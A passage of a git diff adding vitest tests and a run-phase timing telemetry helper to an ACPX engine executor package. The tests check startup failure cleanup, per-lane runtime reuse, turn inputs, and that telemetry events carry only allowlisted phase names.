+      expect(runtimeOptions[0]?.cwd).toBe(remoteCwd);
+      expect(sessionInputs[0]?.cwd).toBe(remoteCwd);
+      expect(sessionInputs[0]?.cwd).not.toBe(localCwd);
+    });
+  });
+
+  // Item 5 + 6: every startup exit path, its result phase, and the cleanup-call
+  // set (bridges stop / lease releases / runtime closes).
+  describe("startup exit paths and cleanup", () => {
+    beforeEach(() => vi.clearAllMocks());
+
+    it("create_runtime failure: settles an error result, stops both bridges, releases the lease", async () => {
+      const { stateDir, localCwd, executionTarget } = await setupRemoteSandbox();
+      const paperclipStop = vi.fn(async () => {});
+      const processStop = vi.fn(async () => {});
+      vi.mocked(startAdapterExecutionTargetPaperclipBridge).mockImplementationOnce(
+        async () => ({ env: {}, stop: paperclipStop }) as never,
+      );
+      vi.mocked(startAdapterExecutionTargetProcessSessionBridge).mockImplementationOnce(
+        async () => ({ agentCommand: null, stop: processStop }) as never,
+      );
+      const stagingLocks = new Map<string, Promise<unknown>>();
+      const execute = createAcpxEngineExecutor({
+        stagingLocks,
+        warmHandles: new Map(),
+        stagedRuntimes: new Map(),
+        createRuntime: () => {
+          throw new Error("createRuntime boom");
+        },
+      });
+
+      const result = await execute({
+        runId: "run-create-fail-remote",
+        agent: { id: "agent-1", companyId: "company-1" },
+        runtime: {},
+        config: { agent: "custom", agentCommand: "node ./fake-acp.js", stateDir, cwd: localCwd },
+        context: {},
+        authToken: "real-run-jwt",
+        executionTarget,
+        onLog: async () => {},
+        onMeta: async () => {},
+        onEvent: async () => {},
+      } as never);
+
+      // The post-build runtime-creation failure returns a settled error result.
+      expect(result.exitCode).toBe(1);
+      expect(result.resultJson?.phase).toBe("create_runtime");
+      // Both live bridges stop exactly once and the per-session lease releases.
+      expect(paperclipStop).toHaveBeenCalledTimes(1);
+      expect(processStop).toHaveBeenCalledTimes(1);
+      expect(stagingLocks.size).toBe(0);
+    });
+
+    it("partial-bridge failure: throws and stops the concurrently-started bridge exactly once", async () => {
+      const { stateDir, localCwd, executionTarget } = await setupRemoteSandbox();
+      const stop = vi.fn(async () => {});
+      vi.mocked(startAdapterExecutionTargetPaperclipBridge).mockImplementationOnce(async () => {
+        throw new Error("paperclip bridge boom");
+      });
+      vi.mocked(startAdapterExecutionTargetProcessSessionBridge).mockImplementationOnce(
+        async () => ({ agentCommand: null, stop }) as never,
+      );
+
+      const execute = createAcpxEngineExecutor({
+        createRuntime: () => buildRuntime() as never,
+      });
+
+      // A partial bridge failure inside buildRuntime is one of the only two throw
+      // paths, so the run rethrows instead of settling a result.
+      await expect(
+        execute({
+          runId: "run-bridge-fail",
+          agent: { id: "agent-1", companyId: "company-1" },
+          runtime: {},
+          config: { agent: "custom", agentCommand: "node ./fake-acp.js", stateDir, cwd: localCwd },
+          context: {},
+          authToken: "real-run-jwt",
+          executionTarget,
+          onLog: async () => {},
+          onMeta: async () => {},
+          onEvent: async () => {},
+        } as never),
+      ).rejects.toThrow("paperclip bridge boom");
+
+      // The concurrently-started process-session bridge was stopped exactly once.
+      expect(stop).toHaveBeenCalledTimes(1);
+    });
+
+    it("cold ensure_session throw: ensure_session error, and the runtime closes (the cold-handshake leak is fixed)", async () => {
+      const root = await makeTempRoot();
+      const closeSpy = vi.fn(async () => {});
+      const execute = createAcpxEngineExecutor({
+        createRuntime: () =>
+          ({
+            ensureSession: async () => {
+              throw new Error("ensureSession boom");
+            },
+            startTurn: () => completedTurn(),
+            close: closeSpy,
+          }) as never,
+      });
+
+      const result = await execute({
+        runId: "handshake-fail",
+        agent: { id: "agent-1", companyId: "company-1" },
+        runtime: {},
+        config: { agent: "custom", agentCommand: "node ./fake-acp.js", stateDir: path.join(root, "state") },
+        context: {},
+        onLog: async () => {},
+        onMeta: async () => {},
+      } as never);
+
+      expect(result.exitCode).toBe(1);
+      expect(result.resultJson?.phase).toBe("ensure_session");
+      // The runtime enters the ledger the moment it is created, so a cold
+      // `ensureSession` throw (before any handle exists) still closes it through the
+      // settlement `endSession` step. This closes the former cold-handshake leak.
+      expect(closeSpy).toHaveBeenCalledTimes(1);
+    });
+
+    it("missing session handle: ensure_session error and the minimal runtime closes", async () => {
+      const root = await makeTempRoot();
+      const closeSpy = vi.fn(async () => {});
+      const execute = createAcpxEngineExecutor({
+        createRuntime: () =>
+          ({
+            // A runtime that returns no session handle drives the missing-handle path.
+            ensureSession: async () => undefined,
+            startTurn: () => completedTurn(),
+            close: closeSpy,
+          }) as never,
+      });
+
+      const result = await execute({
+        runId: "missing-handle",
+        agent: { id: "agent-1", companyId: "company-1" },
+        runtime: {},
+        config: { agent: "custom", agentCommand: "node ./fake-acp.js", stateDir: path.join(root, "state") },
+        context: {},
+        onLog: async () => {},
+        onMeta: async () => {},
+      } as never);
+
+      expect(result.exitCode).toBe(1);
+      expect(result.resultJson?.phase).toBe("ensure_session");
+      expect(result.errorCode).toBe("acpx_runtime_error");
+      expect(closeSpy).toHaveBeenCalledTimes(1);
+    });
+
+    it("configure_session failure: configure_session error and the runtime closes", async () => {
+      const root = await makeTempRoot();
+      const closeSpy = vi.fn(async () => {});
+      const execute = createAcpxEngineExecutor({
+        createRuntime: () =>
+          ({
+            ensureSession: async () => okHandle,
+            // Gemini model/effort drive a session config option; a throwing setter
+            // fails the configure_session phase after the handshake succeeds.
+            setConfigOption: async () => {
+              throw new Error("setConfigOption boom");
+            },
+            startTurn: () => completedTurn(),
+            close: closeSpy,
+          }) as never,
+      });
+
+      const result = await execute({
+        runId: "configure-fail",
+        agent: { id: "agent-1", companyId: "company-1" },
+        runtime: {},
+        config: {
+          agent: "gemini",
+          model: "gemini-2.5-pro",
+          thinkingEffort: "high",
+          stateDir: path.join(root, "state"),
+        },
+        context: {},
+        onLog: async () => {},
+        onMeta: async () => {},
+      } as never);
+
+      expect(result.exitCode).toBe(1);
+      expect(result.resultJson?.phase).toBe("configure_session");
+      expect(closeSpy).toHaveBeenCalledTimes(1);
+    });
+
+    it("persistent host failure: the first run closes and relaunches, so a failing second run re-creates and closes", async () => {
+      const root = await makeTempRoot();
+      const stateDir = path.join(root, "state");
+      const startedAt = "2026-01-01T00:00:00.000Z";
+      const closeSpy = vi.fn(async () => {});
+      let created = 0;
+      const warmHandles = new Map();
+      const execute = createAcpxEngineExecutor({
+        warmHandles,
+        createRuntime: (options) => {
+          created += 1;
+          const opts = options as AcpRuntimeOptions & {
+            onAgentSpawn?: (meta: { pid: number; startedAt: string }) => Promise<void>;
+          };
+          return {
+            ensureSession: async () => {
+              await opts.onAgentSpawn?.({ pid: 4242, startedAt });
+              return okHandle;
+            },
+            startTurn: () => completedTurn(),
+            close: closeSpy,
+          } as never;
+        },
+      });
+      const config = {
+        agent: "custom",
+        agentCommand: "node ./fake-acp.js",
+        stateDir,
+        mode: "persistent",
+        warmHandleIdleMs: 60_000,
+      };
+
+      const first = await execute({
+        runId: "warm-1",
+        agent: { id: "agent-1", companyId: "company-1" },
+        runtime: {},
+        config,
+        context: {},
+        onLog: async () => {},
+        onMeta: async () => {},
+        onSpawn: async () => {},
+      } as never);
+      expect(first.exitCode).toBe(0);
+      // Amendment B: the first clean persistent turn closes and relaunches instead
+      // of warm-saving the runtime, so no warm handle survives.
+      expect(warmHandles.size).toBe(0);
+      expect(created).toBe(1);
+
+      // The second run finds no warm handle, so it re-creates the runtime and fails
+      // while persisting process identity during ensure_session.
+      const second = await execute({
+        runId: "warm-2",
+        agent: { id: "agent-1", companyId: "company-1" },
+        runtime: { sessionParams: first.sessionParams },
+        config,
+        context: {},
+        onLog: async () => {},
+        onMeta: async () => {},
+        onSpawn: async () => {
+          throw new Error("onSpawn boom");
+        },
+      } as never);
+
+      // The second run built runtime #2 (no warm reuse), closed it on the failure,
+      // and reported the ensure_session phase. Both runtimes closed (one per run).
+      expect(created).toBe(2);
+      expect(second.exitCode).toBe(1);
+      expect(second.resultJson?.phase).toBe("ensure_session");
+      expect(closeSpy).toHaveBeenCalledTimes(2);
+      expect(warmHandles.size).toBe(0);
+    });
+  });
+
+  // Item 7: the per-lane resource set.
+  describe("per-lane resource set", () => {
+    beforeEach(() => vi.clearAllMocks());
+
+    it("local lane: crosses no staging seam, starts no bridge, keeps session/new on the host cwd", async () => {
+      const root = await makeTempRoot();
+      const localCwd = path.join(root, "worktree");
+      await fs.mkdir(localCwd, { recursive: true });
+      const { sessionInputs, runtimeOptions } = await runExecutor({
+        agent: "custom",
+        agentCommand: "node ./fake-acp.js",
+        stateDir: path.join(root, "state"),
+        cwd: localCwd,
+      });
+
+      expect(vi.mocked(prepareAdapterExecutionTargetRuntime)).not.toHaveBeenCalled();
+      expect(vi.mocked(startAdapterExecutionTargetPaperclipBridge)).not.toHaveBeenCalled();
+      expect(vi.mocked(startAdapterExecutionTargetProcessSessionBridge)).not.toHaveBeenCalled();
+      expect(sessionInputs[0]?.cwd).toBe(localCwd);
+      expect(runtimeOptions[0]?.cwd).toBe(localCwd);
+    });
+
+    it("persistent host lane: closes and relaunches the handle, so a second run re-creates the runtime", async () => {
+      const root = await makeTempRoot();
+      const stateDir = path.join(root, "state");
+      let created = 0;
+      const warmHandles = new Map();
+      const execute = createAcpxEngineExecutor({
+        warmHandles,
+        createRuntime: () => {
+          created += 1;
+          return buildRuntime() as never;
+        },
+      });
+      const config = {
+        agent: "custom",
+        agentCommand: "node ./fake-acp.js",
+        stateDir,
+        mode: "persistent",
+        warmHandleIdleMs: 60_000,
+      };
+      const base = {
+        agent: { id: "agent-1", companyId: "company-1" },
+        config,
+        context: {},
+        onLog: async () => {},
+        onMeta: async () => {},
+        onSpawn: async () => {},
+      };
+
+      const first = await execute({ runId: "host-warm-1", runtime: {}, ...base } as never);
+      const second = await execute({
+        runId: "host-warm-2",
+        runtime: { sessionParams: first.sessionParams },
+        ...base,
+      } as never);
+
+      expect(first.exitCode).toBe(0);
+      expect(second.exitCode).toBe(0);
+      // Amendment B: the host lane never warm-saves a live runtime (the run-minted
+      // API key is never revoked), so the first run closes and relaunches. No warm
+      // handle survives, so the second run re-creates runtime #2.
+      expect(created).toBe(2);
+      expect(warmHandles.size).toBe(0);
+    });
+
+    it("remote process-session lane: does NOT warm-save the handle, so a second run re-creates the runtime", async () => {
+      const { stateDir, localCwd, executionTarget } = await setupRemoteSandbox();
+      let created = 0;
+      const ensureInputs: Array<Record<string, unknown>> = [];
+      const warmHandles = new Map();
+      const execute = createAcpxEngineExecutor({
+        warmHandles,
+        stagedRuntimes: new Map(),
+        stagingLocks: new Map(),
+        createRuntime: () => {
+          created += 1;
+          return buildRuntime(undefined, (input) => ensureInputs.push(input)) as never;
+        },
+      });
+      const base = {
+        agent: { id: "agent-1", companyId: "company-1" },
+        config: {
+          agent: "custom",
+          agentCommand: "node ./fake-acp.js",
+          stateDir,
+          cwd: localCwd,
+          mode: "persistent",
+          warmHandleIdleMs: 60_000,
+        },
+        context: {},
+        authToken: "real-run-jwt",
+        executionTarget,
+        onLog: async () => {},
+        onMeta: async () => {},
+        onEvent: async () => {},
+      };
+
+      const first = await execute({ runId: "remote-warm-1", runtime: {}, ...base } as never);
+      const second = await execute({
+        runId: "remote-warm-2",
+        runtime: { sessionParams: first.sessionParams },
+        ...base,
+      } as never);
+
+      expect(first.exitCode).toBe(0);
+      expect(second.exitCode).toBe(0);
+      // The remote process-session lane never keeps the handle warm, so the second
+      // run re-creates the runtime and runs a fresh handshake instead of reusing one.
+      expect(created).toBe(2);
+      expect(warmHandles.size).toBe(0);
+      expect(ensureInputs).toHaveLength(2);
+    });
+  });
+});
diff --git a/packages/adapter-utils/src/acpx-engine/startup-timing.test.ts b/packages/adapter-utils/src/acpx-engine/startup-timing.test.ts
index 14c7e0bfe22..ea0decb916a 100644
--- a/packages/adapter-utils/src/acpx-engine/startup-timing.test.ts
+++ b/packages/adapter-utils/src/acpx-engine/startup-timing.test.ts
@@ -4,12 +4,15 @@ import type { StartupSpan, StartupTraceContext, StartupTracer } from "./startup-
 import {
   clampSpanLabel,
   createRuntimeSpanRunner,
+  emitRunPhaseTiming,
   emitSkippedStartupStep,
   getActiveStepContext,
   measureStartupStep,
   NOOP_STARTUP_SPAN,
   NOOP_STARTUP_TRACE_CONTEXT,
   normalizeProviderFamily,
+  RUN_PHASE_NAMES,
+  RUN_PHASE_TIMING_EVENT_TYPE,
   runWithoutActiveStep,
   runWithRuntimeParent,
   SANDBOX_STARTUP_SPAN_ATTR_PREFIX,
@@ -712,3 +715,59 @@ describe("createRuntimeSpanRunner", () => {
     expect(childStep).toBeNull();
   });
 });
+
+describe("run phase timing telemetry", () => {
+  it("test_phase_telemetry_fields_are_exactly_phase_duration_outcome", async () => {
+    const events: AdapterRuntimeEvent[] = [];
+    const ctx = { onEvent: async (event: AdapterRuntimeEvent) => void events.push(event) };
+
+    await emitRunPhaseTiming(ctx, "create_runtime", 12, "ok");
+
+    expect(events).toHaveLength(1);
+    const event = events[0]!;
+    expect(event.eventType).toBe(RUN_PHASE_TIMING_EVENT_TYPE);
+    // The payload carries exactly the three closed fields and nothing else.
+    expect(Object.keys(event.payload ?? {}).sort()).toEqual(["durationMs", "outcome", "phase"]);
+    expect(event.payload).toEqual({ phase: "create_runtime", durationMs: 12, outcome: "ok" });
+  });
+
+  it("test_phase_telemetry_emits_no_command_path_environment_or_identifier_value", async () => {
+    const events: AdapterRuntimeEvent[] = [];
+    const ctx = { onEvent: async (event: AdapterRuntimeEvent) => void events.push(event) };
+
+    // Every allowlisted phase emits exactly one closed-shape event.
+    for (const phase of RUN_PHASE_NAMES) {
+      await emitRunPhaseTiming(ctx, phase, 5, "ok");
+    }
+    // A phase name outside the closed allowlist emits nothing, so a free-form
+    // label (a command, a path, an environment value, or a raw identifier) can
+    // never reach the stream.
+    await emitRunPhaseTiming(ctx, "/usr/bin/node --flag /secret/path", 5, "ok");
+    await emitRunPhaseTiming(ctx, "PAPERCLIP_API_KEY=abc123", 5, "ok");
+    await emitRunPhaseTiming(ctx, "run-7f3a-agent-42", 5, "ok");
+
+    expect(events).toHaveLength(RUN_PHASE_NAMES.length);
+    for (const event of events) {
+      // The phase field is only ever an allowlisted name.
+      expect(RUN_PHASE_NAMES).toContain(event.payload?.phase);
+      // No field carries a command, a path, an environment value, or an identifier.
+      const serialized = JSON.stringify(event);
+      expect(serialized).not.toContain("/usr/bin/node");
+      expect(serialized).not.toContain("/secret/path");
+      expect(serialized).not.toContain("PAPERCLIP_API_KEY");
+      expect(serialized).not.toContain("abc123");
+      expect(serialized).not.toContain("run-7f3a-agent-42");
+    }
+  });
+
+  it("test_telemetry_failure_does_not_fail_the_run", async () => {
+    const ctx = {
+      onEvent: async () => {
+        throw new Error("telemetry sink boom");
+      },
+    };
+
+    // A throwing telemetry sink never propagates, so the run continues.
+    await expect(emitRunPhaseTiming(ctx, "turn", 9, "failed")).resolves.toBeUndefined();
+  });
+});
diff --git a/packages/adapter-utils/src/acpx-engine/startup-timing.ts b/packages/adapter-utils/src/acpx-engine/startup-timing.ts
index ce91ca6a5bd..131c7cf6215 100644
--- a/packages/adapter-utils/src/acpx-engine/startup-timing.ts
+++ b/packages/adapter-utils/src/acpx-engine/startup-timing.ts
@@ -109,6 +109,11 @@ export const SANDBOX_STARTUP_SPAN_ATTRS = {
   transferWallMs: `${SANDBOX_STARTUP_SPAN_ATTR_PREFIX}transfer.wall_ms`,
   /** The number of serial guard round trips before one transfer. */
   transferGuardCount: `${SANDBOX_STARTUP_SPAN_ATTR_PREFIX}transfer.guard.count`,
+  /** The transfer direction: `inbound` for an upload to the sandbox, `outbound`
+   * for a download from the sandbox. The parent span carries operation identity,
+   * so the transfer span never carries an operation label. The value stays in a
+   * closed set, so the attribute cardinality is bounded. */
+  transferDirection: `${SANDBOX_STARTUP_SPAN_ATTR_PREFIX}transfer.direction`,
 } as const;
 
 /** The closed value set for the `outcome` attribute. */
@@ -786,3 +791,72 @@ export async function emitSkippedStartupStep(
     // Observability must not change startup control flow.
   }
 }
+
+/**
+ * Structured event emitted once per named run-lifecycle phase, so the duration
+ * and the outcome of each phase land in the run-events stream. It is
+ * observability-only and rides the existing `ctx.onEvent` bridge. The payload is
+ * a closed shape: exactly `phase`, `durationMs`, and `outcome`. The phase name is
+ * from a closed allowlist, so the event never carries a command, an argument, a
+ * path, an environment value, or a raw identifier.
+ */
+export const RUN_PHASE_TIMING_EVENT_TYPE = "run.phase.timing";
+
+/**
+ * The closed set of run-lifecycle phase names. A phase-timing event may name only
+ * one of these. The list is fixed and low-cardinality; it never derives from run
+ * or user data.
+ */
+export const RUN_PHASE_NAMES = [
+  "place_workspace",
+  "start_transport",
+  "create_runtime",
+  "ensure_session",
+  "configure_session",
+  "prepare_turn",
+  "turn",
+  "end_session",
+  "settle_reuse",
+  "stop_transport",
+  "sync_back",
+  "release_staging_lease",
+] as const;
+
+/** One run-lifecycle phase name from the closed allowlist. */
+export type RunPhaseName = (typeof RUN_PHASE_NAMES)[number];
+
+const RUN_PHASE_NAME_SET: ReadonlySet<string> = new Set(RUN_PHASE_NAMES);
+
+/** The closed outcome set for a phase-timing event. */
+export type RunPhaseOutcome = "ok" | "failed";
+
+/**
+ * Emit exactly one `run.phase.timing` event for a run-lifecycle phase. The
+ * payload carries only `phase`, `durationMs`, and `outcome`. It never carries a
+ * command, an argument, a path, an environment value, or a raw identifier. The
+ * phase name must be one member of the closed allowlist; a name outside the
+ * allowlist emits nothing, so a free-form label can never reach the stream. A
+ * negative or a non-finite duration clamps to 0. Every sink call sits inside an
+ * error swallow, so a throwing telemetry sink never fails the run.
+ */
+export async function emitRunPhaseTiming(
+  ctx: Pick<AdapterExecutionContext, "onEvent">,
+  phase: string,
+  durationMs: number,
+  outcome: RunPhaseOutcome,
+): Promise<void> {
+  if (!RUN_PHASE_NAME_SET.has(phase)) return;
+  const safeDuration = Number.isFinite(durationMs) && durationMs > 0 ? durationMs : 0;
+  const event: AdapterRuntimeEvent = {
+    eventType: RUN_PHASE_TIMING_EVENT_TYPE,
+    stream: "system",
+    level: "info",
+    message: `run phase: ${phase} (${safeDuration}ms)`,
+    payload: { phase, durationMs: safeDuration, outcome },
+  };
+  try {
+    await ctx.onEvent?.(event);
+  } catch {
+    // Telemetry never fails the run.
+  }
+}
diff --git a/packages/adapter-utils/src/acpx-engine/turn-characterization.test.ts b/packages/adapter-utils/src/acpx-engine/turn-characterization.test.ts
new file mode 100644
index 00000000000..01eea583224
--- /dev/null
+++ b/packages/adapter-utils/src/acpx-engine/turn-characterization.test.ts
@@ -0,0 +1,685 @@
+import fs from "node:fs/promises";
+import os from "node:os";
+import path from "node:path";
+import { afterEach, describe, expect, it, vi } from "vitest";
+import type { AdapterExecutionContext, AdapterRuntimeMcpAccess } from "@paperclipai/adapter-utils";
+import {
+  prepareAdapterExecutionTargetRuntime,
+  startAdapterExecutionTargetPaperclipBridge,
+  startAdapterExecutionTargetProcessSessionBridge,
+} from "@paperclipai/adapter-utils/execution-target";
+
+// Wrap the staging seam + both sandbox bridges in call-recording spies that
+// still delegate to the real implementations. This mirrors the execute.test.ts
+// harness so the turn characterization tests share the same mocked module graph.
+vi.mock("@paperclipai/adapter-utils/execution-target", async (importActual) => {
+  const actual = await importActual<typeof import("@paperclipai/adapter-utils/execution-target")>();
+  return {
+    ...actual,
+    prepareAdapterExecutionTargetRuntime: vi.fn(actual.prepareAdapterExecutionTargetRuntime),
+    startAdapterExecutionTargetPaperclipBridge: vi.fn(actual.startAdapterExecutionTargetPaperclipBridge),
+    startAdapterExecutionTargetProcessSessionBridge: vi.fn(actual.startAdapterExecutionTargetProcessSessionBridge),
+  };
+});
+import {
+  createAcpxEngineExecutor,
+  summarizeAcpxTurnUsage,
+  type AcpxEngineExecutorOptions,
+} from "./execute.js";
+import { runChildProcess } from "../server-utils.js";
+
+const tempRoots: string[] = [];
+
+async function makeTempRoot() {
+  const root = await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-acpx-skills-"));
+  tempRoots.push(root);
+  return root;
+}
+
+afterEach(async () => {
+  // A remote run stages a process-session bridge whose detached event writer can
+  // still be flushing a trailing event file into `.../process-sessions/<id>/events`
+  // when the run's own best-effort `client.remove(sessionDir)` (which production
+  // catch-wraps) has already returned. Under CI load that trailing write can land
+  // between this recursive delete's directory snapshot and its `rmdir`, surfacing as
+  // `ENOTEMPTY`. `maxRetries`/`retryDelay` make the cleanup ride out that window the
+  // same way production tolerates it, instead of failing the just-passed test.
+  await Promise.all(
+    tempRoots.splice(0).map((root) =>
+      fs.rm(root, { recursive: true, force: true, maxRetries: 5, retryDelay: 50 }),
+    ),
+  );
+});
+
+function createLocalSandboxRunner(
+  onExecute?: (input: {
+    command: string;
+    args?: string[];
+    cwd?: string;
+    env?: Record<string, string>;
+  }) => void,
+) {
+  let counter = 0;
+  return {
+    execute: async (input: {
+      command: string;
+      args?: string[];
+      cwd?: string;
+      env?: Record<string, string>;
+      stdin?: string;
+      timeoutMs?: number;
+      onLog?: (stream: "stdout" | "stderr", chunk: string) => Promise<void>;
+      onSpawn?: (meta: { pid: number; startedAt: string }) => Promise<void>;
+    }) => {
+      counter += 1;
+      onExecute?.(input);
+      const command = input.command === "bash" ? "/bin/bash" : input.command;
+      return await runChildProcess(`acpx-sandbox-run-${counter}`, command, input.args ?? [], {
+        cwd: input.cwd ?? process.cwd(),
+        env: input.env ?? {},
+        stdin: input.stdin,
+        timeoutSec: Math.max(1, Math.ceil((input.timeoutMs ?? 30_000) / 1000)),
+        graceSec: 5,
+        onLog: input.onLog ?? (async () => {}),
+        onSpawn: input.onSpawn
+          ? async (meta) => input.onSpawn?.({ pid: meta.pid, startedAt: meta.startedAt })
+          : undefined,
+      });
+    },
+  };
+}
+
+function buildRuntime(
+  onSetConfigOption?: (input: { key: string; value: string }) => void,
+  onEnsureSession?: (input: Record<string, unknown>) => void,
+) {
+  return {
+    ensureSession: async (input: Record<string, unknown>) => {
+      onEnsureSession?.(input);
+      return ({
+      backendSessionId: "backend-session",
+      agentSessionId: "agent-session",
+      runtimeSessionName: "runtime-session",
+      });
+    },
+    startTurn: () => ({
+      events: (async function* () {
+        yield { type: "done", stopReason: "end_turn" };
+      })(),
+      result: Promise.resolve({ status: "completed", stopReason: "end_turn" }),
+      cancel: async () => {},
+    }),
+    setConfigOption: async (input: { key: string; value: string }) => {
+      onSetConfigOption?.(input);
+    },
+    close: async () => {},
+  };
+}
+
+async function runExecutor(
+  config: Record<string, unknown>,
+  options: {
+    context?: Record<string, unknown>;
+    executionTransport?: Record<string, unknown>;
+    authToken?: string;
+    executionTarget?: Record<string, unknown>;
+    runtimeMcp?: AdapterRuntimeMcpAccess;
+    prepareRemoteManagedHome?: AcpxEngineExecutorOptions["prepareRemoteManagedHome"];
+    startupTraceContext?: AdapterExecutionContext["startupTraceContext"];
+  } = {},
+) {
+  const runtimeOptions: Record<string, unknown>[] = [];
+  const configOptions: Array<{ key: string; value: string }> = [];
+  const sessionInputs: Record<string, unknown>[] = [];
+  const meta: Record<string, unknown>[] = [];
+  const logs: Array<{ stream: string; text: string }> = [];
+  const events: Array<{ eventType: string; payload?: Record<string, unknown> }> = [];
+  const execute = createAcpxEngineExecutor({
+    ...(options.prepareRemoteManagedHome
+      ? { prepareRemoteManagedHome: options.prepareRemoteManagedHome }
+      : {}),
+    createRuntime: (options) => {
+      runtimeOptions.push(options as unknown as Record<string, unknown>);
+      return buildRuntime(
+        ({ key, value }) => configOptions.push({ key, value }),
+        (input) => sessionInputs.push(input),
+      ) as never;
+    },
+  });
+
+  const result = await execute({
+    runId: "run-1",
+    agent: {
+      id: "agent-1",
+      companyId: "company-1",
+    },
+      runtime: {},
+      config,
+      context: options.context ?? {},
+      executionTransport: options.executionTransport,
+      authToken: options.authToken,
+      executionTarget: options.executionTarget,
+      runtimeMcp: options.runtimeMcp,
+      startupTraceContext: options.startupTraceContext,
+      onLog: async (stream: "stdout" | "stderr", text: string) => {
+        logs.push({ stream, text });
+      },
+    onMeta: async (payload: unknown) => {
+      meta.push(payload as Record<string, unknown>);
+    },
+    onEvent: async (event: { eventType: string; payload?: Record<string, unknown> }) => {
+      events.push(event);
+    },
+  } as never);
+
+  expect(result.exitCode).toBe(0);
+  return { logs, meta, events, runtimeOptions, configOptions, sessionInputs, result };
+}
+
+// A stub ACP runtime that yields a controlled event stream and terminal result.
+// The tests supply the events/result/cancel behavior; the harness above only
+// drives always-happy sessions, so the turn tests build their own runtime here.
+function turnRuntime(input: {
+  events: () => AsyncGenerator<Record<string, unknown>>;
+  result: Promise<Record<string, unknown>>;
+  onStartTurn?: (turnInput: Record<string, unknown>) => void;
+  onCancel?: (reason: string) => void;
+  onClose?: () => void;
+  getStatus?: () => Promise<Record<string, unknown>>;
+  onEnsureSession?: (session: Record<string, unknown>) => void;
+  ensureSession?: (session: Record<string, unknown>) => Promise<Record<string, unknown>>;
+}) {
+  const runtime: Record<string, unknown> = {
+    ensureSession:
+      input.ensureSession ??
+      (async (session: Record<string, unknown>) => {
+        input.onEnsureSession?.(session);
+        return {
+          backendSessionId: "backend-session",
+          agentSessionId: "agent-session",
+          runtimeSessionName: "runtime-session",
+        };
+      }),
+    startTurn: (turnInput: Record<string, unknown>) => {
+      input.onStartTurn?.(turnInput);
+      return {
+        events: input.events(),
+        result: input.result,
+        cancel: async ({ reason }: { reason: string }) => {
+          input.onCancel?.(reason);
+        },
+      };
+    },
+    close: async () => {
+      input.onClose?.();
+    },
+  };
+  if (input.getStatus) runtime.getStatus = input.getStatus;
+  return runtime;
+}
+
+describe("ACPX engine turn characterization", () => {
+  // The stub session handle every ensureSession returns. startTurn must receive
+  // this exact handle object.
+  const SESSION_HANDLE = {
+    backendSessionId: "backend-session",
+    agentSessionId: "agent-session",
+    runtimeSessionName: "runtime-session",
+  };
+
+  it("passes exactly the six turn inputs to startTurn", async () => {
+    const root = await makeTempRoot();
+    const stateDir = path.join(root, "state");
+    let captured: Record<string, unknown> | null = null;
+    let metaPrompt = "";
+
+    const execute = createAcpxEngineExecutor({
+      createRuntime: () =>
+        turnRuntime({
+          onStartTurn: (turnInput) => {
+            captured = turnInput;
+          },
+          events: async function* () {
+            yield { type: "done", stopReason: "end_turn" };
+          },
+          result: Promise.resolve({ status: "completed", stopReason: "end_turn" }),
+        }) as never,
+    });
+
+    const result = await execute({
+      runId: "run-six-inputs",
+      agent: { id: "agent-1", companyId: "company-1" },
+      runtime: {},
+      config: { agent: "custom", agentCommand: "node ./fake-acp.js", stateDir, timeoutSec: 120 },
+      context: {},
+      onLog: async () => {},
+      onMeta: async (payload: { prompt?: string }) => {
+        metaPrompt = payload.prompt ?? "";
+      },
+    } as never);
+
+    expect(result.exitCode).toBe(0);
+    const input = captured!;
+    // The handle is the exact session handle ensureSession returned.
+    expect(input.handle).toEqual(SESSION_HANDLE);
+    // The text is the built run prompt, the same string reported to onMeta.
+    expect(input.text).toBe(metaPrompt);
+    expect(typeof input.text).toBe("string");
+    expect((input.text as string).length).toBeGreaterThan(0);
+    // The turn always runs in prompt mode.
+    expect(input.mode).toBe("prompt");
+    // The request id is the run id.
+    expect(input.requestId).toBe("run-six-inputs");
+    // A positive timeoutSec becomes timeoutMs in milliseconds.
+    expect(input.timeoutMs).toBe(120_000);
+    // The abort signal is present and not yet aborted.
+    const signal = input.signal as AbortSignal;
+    expect(signal).toBeInstanceOf(AbortSignal);
+    expect(signal.aborted).toBe(false);
+    // Exactly the six documented keys are threaded.
+    expect(Object.keys(input).sort()).toEqual(
+      ["handle", "mode", "requestId", "signal", "text", "timeoutMs"].sort(),
+    );
+  });
+
+  it("joins text_delta events into the trimmed result summary", async () => {
+    const root = await makeTempRoot();
+    const stateDir = path.join(root, "state");
+
+    const execute = createAcpxEngineExecutor({
+      createRuntime: () =>
+        turnRuntime({
+          events: async function* () {
+            yield { type: "text_delta", text: "  Hello, ", stream: "output", tag: "agent_message_chunk" };
+            yield { type: "text_delta", text: "world  ", stream: "output", tag: "agent_message_chunk" };
+            yield { type: "done", stopReason: "end_turn" };
+          },
+          result: Promise.resolve({ status: "completed", stopReason: "end_turn" }),
+        }) as never,
+    });
+
+    const result = await execute({
+      runId: "run-summary",
+      agent: { id: "agent-1", companyId: "company-1" },
+      runtime: {},
+      config: { agent: "custom", agentCommand: "node ./fake-acp.js", stateDir },
+      context: {},
+      onLog: async () => {},
+      onMeta: async () => {},
+    } as never);
+
+    expect(result.exitCode).toBe(0);
+    // The summary is the concatenation of the deltas, trimmed.
+    expect(result.summary).toBe("Hello, world");
+  });
+
+  it("falls back to the stop reason for the summary when no text streams", async () => {
+    const root = await makeTempRoot();
+    const stateDir = path.join(root, "state");
+
+    const execute = createAcpxEngineExecutor({
+      createRuntime: () =>
+        turnRuntime({
+          events: async function* () {
+            yield { type: "done", stopReason: "end_turn" };
+          },
+          result: Promise.resolve({ status: "completed", stopReason: "end_turn" }),
+        }) as never,
+    });
+
+    const result = await execute({
+      runId: "run-no-text",
+      agent: { id: "agent-1", companyId: "company-1" },
+      runtime: {},
+      config: { agent: "custom", agentCommand: "node ./fake-acp.js", stateDir },
+      context: {},
+      onLog: async () => {},
+      onMeta: async () => {},
+    } as never);
+
+    expect(result.exitCode).toBe(0);
+    // With no streamed text, the summary is the terminal stop reason.
+    expect(result.summary).toBe("end_turn");
+  });
+
+  it("pins one event sequence across the log transcript and structured event transports", async () => {
+    const root = await makeTempRoot();
+    const stateDir = path.join(root, "state");
+    const logs: Array<{ stream: string; text: string }> = [];
+    const events: Array<{ eventType: string; payload?: Record<string, unknown> }> = [];
+
+    const execute = createAcpxEngineExecutor({
+      createRuntime: () =>
+        turnRuntime({
+          events: async function* () {
+            yield { type: "text_delta", text: "streamed hello", stream: "output", tag: "agent_message_chunk" };
+            yield { type: "done", stopReason: "end_turn" };
+          },
